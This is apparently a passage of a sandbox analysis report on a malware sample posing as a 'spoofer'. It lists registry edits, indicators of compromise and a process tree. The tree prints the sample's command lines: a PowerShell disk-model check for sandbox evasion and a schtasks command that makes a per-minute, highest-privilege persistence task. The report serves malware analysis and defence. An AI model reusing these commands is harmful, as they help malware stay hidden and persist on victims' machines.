Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e180344b-ac83-4483-959e-18a5c56a5e19}\InProcServer32\ThreadingModel = "Both"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0977d092-2d95-4e43-8d42-9ddcc2545ed5}\InProcServer32\ = "C:\\Windows\\SysWow64\\xactengine3_4.dll"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1138472b-d187-44e9-81f2-ae1b0e7785f1}\InProcServer32\ = "C:\\Windows\\SysWow64\\xactengine2_3.dll"	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{54b68bc7-3a45-416b-a8c9-19bf19ec1df5}	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{343e68e6-8f82-4a8d-a2da-6e9a944b378c}\InProcServer32	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{65d822a4-4799-42c6-9b18-d26cf66dd320}\InProcServer32\ = "C:\\Windows\\system32\\xactengine2_10.dll"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Dependencies\Microsoft.VS.VC_RuntimeMinimumVSU_amd64,v14\ = "{382F1166-A409-4C5B-9B1E-85ED538B8291}"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{bc3e0fc6-2e0d-4c45-bc61-d9c328319bd8}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{fac23f48-31f5-45a8-b49b-5225d61401aa}	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3eda9b49-2085-498b-9bb2-39a6778493de}\InProcServer32\ThreadingModel = "Both"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{cecec95a-d894-491a-bee3-5e106fb59f2d}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{c60fae90-4183-4a3f-b2f7-ac1dc49b0e5c}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9cab402c-1d37-44b4-886d-fa4f36170a4c}	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{cac1105f-619b-4d04-831a-44e1cbf12d57}\ = "AudioVolumeMeter"	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5a508685-a254-4fba-9b82-9a24b00306af}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{343e68e6-8f82-4a8d-a2da-6e9a944b378c}	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{3b80ee2a-b0f5-4780-9e30-90cb39685b03}\InProcServer32\ThreadingModel = "Both"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6f6ea3a9-2cf5-41cf-91c1-2170b1540063}\InProcServer32	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4c5e637a-16c7-4de3-9c46-5ed22181962d}	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{bcc782bc-6492-4c22-8c35-f5d72fe73c6e}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{962f5027-99be-4692-a468-85802cf8de61}\InProcServer32	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{962f5027-99be-4692-a468-85802cf8de61}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e180344b-ac83-4483-959e-18a5c56a5e19}\InProcServer32	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4c9b6dde-6809-46e6-a278-9b6a97588670}\ = "XAudio2"	dxwsetup.exe
Key created	\REGISTRY\USER\S-1-5-21-564748828-2201999071-3764224244-1000_Classes\Local Settings	firefox.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3a2495ce-31d0-435b-8ccf-e9f0843fd960}\InProcServer32\ThreadingModel = "Both"	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{cac1105f-619b-4d04-831a-44e1cbf12d57}	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{fac23f48-31f5-45a8-b49b-5225d61401aa}\InProcServer32\ThreadingModel = "Both"	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{94c1affa-66e7-4961-9521-cfdef3128d4f}	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e180344b-ac83-4483-959e-18a5c56a5e19}\InProcServer32\ = "C:\\Windows\\system32\\XAudio2_3.dll"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0977d092-2d95-4e43-8d42-9ddcc2545ed5}\ = "XACT Engine"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{cecec95a-d894-491a-bee3-5e106fb59f2d}\ = "AudioReverb"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{cd0d66ec-8057-43f5-acbd-66dfb36fd78c}\InProcServer32\ThreadingModel = "Both"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{9cab402c-1d37-44b4-886d-fa4f36170a4c}\InProcServer32\ = "C:\\Windows\\system32\\XAudio2_3.dll"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{03219e78-5bc3-44d1-b92e-f63d89cc6526}\InProcServer32\ThreadingModel = "Both"	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{8bb7778b-645b-4475-9a73-1de3170bd3af}	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\88AAB0B9F51EF1A3CA0C2B609EDD7FC1\6CF2091E324C9174BAA8CAB762493B76	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{c60fae90-4183-4a3f-b2f7-ac1dc49b0e5c}\InProcServer32\ = "C:\\Windows\\system32\\xactengine2_2.dll"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{f5ca7b34-8055-42c0-b836-216129eb7e30}	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{629cf0de-3ecc-41e7-9926-f7e43eebec51}\ = "AudioReverb"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0977d092-2d95-4e43-8d42-9ddcc2545ed5}	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{d06df0d0-8518-441e-822f-5451d5c595b8}	dxwsetup.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\8A567BD6FA501A947AD1F646E53EEC14\SourceList\Net	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4c9b6dde-6809-46e6-a278-9b6a97588670}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3eda9b49-2085-498b-9bb2-39a6778493de}	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0aa000aa-f404-11d9-bd7a-0010dc4f8f81}\InProcServer32\ThreadingModel = "Both"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{77c56bf4-18a1-42b0-88af-5072ce814949}\InProcServer32\ThreadingModel = "Both"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{e21a7345-eb21-468e-be50-804db97cf708}	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{b802058a-464a-42db-bc10-b650d6f2586a}\ = "XAudio2"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{bc3e0fc6-2e0d-4c45-bc61-d9c328319bd8}\ = "XACT Engine"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{b802058a-464a-42db-bc10-b650d6f2586a}\ = "XAudio2"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6a93130e-1d53-41d1-a9cf-e758800bb179}\ = "AudioReverb"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{77c56bf4-18a1-42b0-88af-5072ce814949}\ = "XACT Engine"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{9cab402c-1d37-44b4-886d-fa4f36170a4c}\ = "AudioReverb"	dxwsetup.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Installer\Dependencies\Microsoft.VS.VC_RuntimeMinimumVSU_amd64,v14	VC_redist.x64.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\6CF2091E324C9174BAA8CAB762493B76\Provider	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3a2495ce-31d0-435b-8ccf-e9f0843fd960}\InProcServer32\ = "C:\\Windows\\SysWow64\\xactengine2_6.dll"	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{343e68e6-8f82-4a8d-a2da-6e9a944b378c}\InProcServer32\ = "C:\\Windows\\system32\\xactengine2_9.dll"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{b802058a-464a-42db-bc10-b650d6f2586a}\InProcServer32	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{94c1affa-66e7-4961-9521-cfdef3128d4f}\InProcServer32	dxwsetup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{f4769300-b949-4df9-b333-00d33932e9a6}\InProcServer32	dxwsetup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{074b110f-7f58-4743-aea5-12f15b5074ed}\ = "XACT Engine"	regsvr32.exe

NTFS ADS 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\dxwebsetup.exe:Zone.Identifier	firefox.exe
File created	C:\Users\Admin\Downloads\VC_redist.x64.exe:Zone.Identifier	firefox.exe

Opens file in notepad (likely ransom note) 2 IoCs

ransomware

pid	Process
232	NOTEPAD.EXE
400	NOTEPAD.EXE

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
388	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2120	powershell.exe
2120	powershell.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe
1416	spoofer.exe

Suspicious behavior: GetForegroundWindowSpam 6 IoCs

pid	Process
5012	7zFM.exe
1416	spoofer.exe
11268	temp.exe
5012	7zFM.exe
1416	spoofer.exe
11268	temp.exe

Suspicious behavior: LoadsDriver 12 IoCs

pid	Process
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
13840	2.exe
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found
13840	2.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeRestorePrivilege	5012	7zFM.exe
Token: 35	5012	7zFM.exe
Token: SeSecurityPrivilege	5012	7zFM.exe
Token: SeDebugPrivilege	1416	spoofer.exe
Token: SeDebugPrivilege	2120	powershell.exe
Token: SeDebugPrivilege	1416	spoofer.exe
Token: SeDebugPrivilege	792	firefox.exe
Token: SeDebugPrivilege	792	firefox.exe
Token: SeDebugPrivilege	4660	Update.exe
Token: SeDebugPrivilege	14612	Update.exe
Token: SeBackupPrivilege	14980	vssvc.exe
Token: SeRestorePrivilege	14980	vssvc.exe
Token: SeAuditPrivilege	14980	vssvc.exe
Token: SeBackupPrivilege	15728	srtasks.exe
Token: SeRestorePrivilege	15728	srtasks.exe
Token: SeSecurityPrivilege	15728	srtasks.exe
Token: SeTakeOwnershipPrivilege	15728	srtasks.exe
Token: SeBackupPrivilege	15728	srtasks.exe
Token: SeRestorePrivilege	15728	srtasks.exe
Token: SeSecurityPrivilege	15728	srtasks.exe
Token: SeTakeOwnershipPrivilege	15728	srtasks.exe
Token: SeDebugPrivilege	792	firefox.exe
Token: SeDebugPrivilege	792	firefox.exe
Token: SeDebugPrivilege	792	firefox.exe
Token: SeDebugPrivilege	11072	Update.exe
Token: SeDebugPrivilege	12708	Update.exe
Token: SeDebugPrivilege	792	firefox.exe
Token: SeShutdownPrivilege	2724	VC_redist.x64.exe
Token: SeIncreaseQuotaPrivilege	2724	VC_redist.x64.exe
Token: SeSecurityPrivilege	14060	msiexec.exe
Token: SeCreateTokenPrivilege	2724	VC_redist.x64.exe
Token: SeAssignPrimaryTokenPrivilege	2724	VC_redist.x64.exe
Token: SeLockMemoryPrivilege	2724	VC_redist.x64.exe
Token: SeIncreaseQuotaPrivilege	2724	VC_redist.x64.exe
Token: SeMachineAccountPrivilege	2724	VC_redist.x64.exe
Token: SeTcbPrivilege	2724	VC_redist.x64.exe
Token: SeSecurityPrivilege	2724	VC_redist.x64.exe
Token: SeTakeOwnershipPrivilege	2724	VC_redist.x64.exe
Token: SeLoadDriverPrivilege	2724	VC_redist.x64.exe
Token: SeSystemProfilePrivilege	2724	VC_redist.x64.exe
Token: SeSystemtimePrivilege	2724	VC_redist.x64.exe
Token: SeProfSingleProcessPrivilege	2724	VC_redist.x64.exe
Token: SeIncBasePriorityPrivilege	2724	VC_redist.x64.exe
Token: SeCreatePagefilePrivilege	2724	VC_redist.x64.exe
Token: SeCreatePermanentPrivilege	2724	VC_redist.x64.exe
Token: SeBackupPrivilege	2724	VC_redist.x64.exe
Token: SeRestorePrivilege	2724	VC_redist.x64.exe
Token: SeShutdownPrivilege	2724	VC_redist.x64.exe
Token: SeDebugPrivilege	2724	VC_redist.x64.exe
Token: SeAuditPrivilege	2724	VC_redist.x64.exe
Token: SeSystemEnvironmentPrivilege	2724	VC_redist.x64.exe
Token: SeChangeNotifyPrivilege	2724	VC_redist.x64.exe
Token: SeRemoteShutdownPrivilege	2724	VC_redist.x64.exe
Token: SeUndockPrivilege	2724	VC_redist.x64.exe
Token: SeSyncAgentPrivilege	2724	VC_redist.x64.exe
Token: SeEnableDelegationPrivilege	2724	VC_redist.x64.exe
Token: SeManageVolumePrivilege	2724	VC_redist.x64.exe
Token: SeImpersonatePrivilege	2724	VC_redist.x64.exe
Token: SeCreateGlobalPrivilege	2724	VC_redist.x64.exe
Token: SeRestorePrivilege	14060	msiexec.exe
Token: SeTakeOwnershipPrivilege	14060	msiexec.exe
Token: SeRestorePrivilege	14060	msiexec.exe
Token: SeTakeOwnershipPrivilege	14060	msiexec.exe
Token: SeRestorePrivilege	14060	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
5012	7zFM.exe
5012	7zFM.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
13560	VC_redist.x64.exe
5012	7zFM.exe
5012	7zFM.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
13560	VC_redist.x64.exe

Suspicious use of SendNotifyMessage 56 IoCs

pid	Process
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe

Suspicious use of SetWindowsHookEx 18 IoCs

pid	Process
1416	spoofer.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
11268	temp.exe
1416	spoofer.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
792	firefox.exe
11268	temp.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1816 wrote to memory of 3264	1816	vson I temp.exe	92
PID 1816 wrote to memory of 3264	1816	vson I temp.exe	92
PID 1816 wrote to memory of 2208	1816	vson I temp.exe	93
PID 1816 wrote to memory of 2208	1816	vson I temp.exe	93
PID 3264 wrote to memory of 2292	3264	svxspoofer.exe	94
PID 3264 wrote to memory of 2292	3264	svxspoofer.exe	94
PID 3264 wrote to memory of 1416	3264	svxspoofer.exe	96
PID 3264 wrote to memory of 1416	3264	svxspoofer.exe	96
PID 2292 wrote to memory of 2120	2292	cmd.exe	97
PID 2292 wrote to memory of 2120	2292	cmd.exe	97
PID 2120 wrote to memory of 3868	2120	powershell.exe	98
PID 2120 wrote to memory of 3868	2120	powershell.exe	98
PID 1416 wrote to memory of 388	1416	spoofer.exe	100
PID 1416 wrote to memory of 388	1416	spoofer.exe	100
PID 2508 wrote to memory of 792	2508	firefox.exe	104
PID 2508 wrote to memory of 792	2508	firefox.exe	104
PID 2508 wrote to memory of 792	2508	firefox.exe	104
PID 2508 wrote to memory of 792	2508	firefox.exe	104
PID 2508 wrote to memory of 792	2508	firefox.exe	104
PID 2508 wrote to memory of 792	2508	firefox.exe	104
PID 2508 wrote to memory of 792	2508	firefox.exe	104
PID 2508 wrote to memory of 792	2508	firefox.exe	104
PID 2508 wrote to memory of 792	2508	firefox.exe	104
PID 2508 wrote to memory of 792	2508	firefox.exe	104
PID 2508 wrote to memory of 792	2508	firefox.exe	104
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105
PID 792 wrote to memory of 2488	792	firefox.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	396	curl/8.7.1

C:\Program Files\7-Zip\7zFM.exe
"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Vson I Temp.rar"
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5012

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3200

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\temp\temp\temp\temp\steps.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:232

C:\Users\Admin\Desktop\temp\temp\temp\temp\vson I temp.exe
"C:\Users\Admin\Desktop\temp\temp\temp\temp\vson I temp.exe"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1816
- C:\Users\Admin\AppData\Roaming\svxspoofer.exe
  "C:\Users\Admin\AppData\Roaming\svxspoofer.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3264
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Loli1.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2292
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe "if ((Get-WmiObject Win32_DiskDrive | Select-Object -ExpandProperty Model | findstr /i 'WDS100T2B0A') -and (-not (Get-ChildItem -Path F:\ -Recurse | Where-Object { -not $_.PSIsContainer } | Measure-Object).Count)) {exit 900} else {exit 1}"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2120
    - - C:\Windows\system32\findstr.exe
        
        "C:\Windows\system32\findstr.exe" /i WDS100T2B0A
        5⤵
        
        PID:3868
- - C:\Users\Admin\AppData\Roaming\spoofer.exe
    "C:\Users\Admin\AppData\Roaming\spoofer.exe"
    3⤵
    - Checks computer location settings
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:1416
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Update" /tr "C:\Users\Admin\AppData\Roaming\Update.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:388
- C:\Users\Admin\AppData\Roaming\temp.exe
  "C:\Users\Admin\AppData\Roaming\temp.exe"
  2⤵
  - Executes dropped EXE
  PID:2208

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\temp\temp\temp\temp\steps.txt
1⤵
- Opens file in notepad (likely ransom note)
PID:400

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2508
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Subvert Trust Controls: Mark-of-the-Web Bypass
  - Checks processor information in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:792
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=1984 -parentBuildID 20240401114208 -prefsHandle 1912 -prefMapHandle 1904 -prefsLen 27137 -prefMapSize 244658 -appDir "C:\Program Files\Mozilla Firefox\browser" - {f104c756-40eb-4402-9ffe-858d94de88c3} 792 "\\.\pipe\gecko-crash-server-pipe.792" gpu
    3⤵
    PID:2488
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2392 -parentBuildID 20240401114208 -prefsHandle 2384 -prefMapHandle 2372 -prefsLen 27015 -prefMapSize 244658 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ca481201-a7f8-4e1d-970c-43cedf193ed9} 792 "\\.\pipe\gecko-crash-server-pipe.792" socket
    3⤵
    - Checks processor information in registry
    PID:3540
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3040 -childID 1 -isForBrowser -prefsHandle 3044 -prefMapHandle 3236 -prefsLen 22698 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {e98e7b7d-1a69-4ae0-b7cb-b7327c91c781} 792 "\\.\pipe\gecko-crash-server-pipe.792" tab
    3⤵
    PID:4356
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3896 -childID 2 -isForBrowser -prefsHandle 3920 -prefMapHandle 3916 -prefsLen 32389 -prefMapSize 244658 -jsInitHandle 1244 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7ea3524b-5823-4498-aba8-87e27770898b} 792 "\\.\pipe\gecko-crash-server-pipe.792" tab
    3⤵
    PID:3180
- - C:\Program Files\Mozilla Firefox\firefox.exe
